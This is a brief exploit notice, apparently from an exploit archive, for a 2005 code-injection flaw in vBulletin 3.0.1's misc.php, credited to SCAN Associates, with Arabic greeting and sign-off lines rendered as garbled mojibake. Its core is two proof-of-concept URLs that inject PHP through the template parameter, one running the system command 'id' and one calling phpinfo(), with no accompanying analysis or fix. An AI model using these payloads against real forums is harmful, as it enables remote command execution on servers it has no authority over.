ÓáÇã Úáíßã æÑÍãÉ Çááå æÈÑÇßÇÊå

Tested on vBulletin Version 3.0.1 /str0ke

http://www.xxx.net/misc.php?do=page&template={${system(id)}}

[SCAN Associates Security Advisory]

http://www.scan-associates.net

Proof of concept
================
http://site.com/misc.php?do=page&template={${phpinfo()}}
====================

ÙåÑÊ ÈÊÇÑíÎ 2005-02-22
æãßÊÔÝåÇ pokley


ÈÇáÊæÝíÞ ááÌãíÚ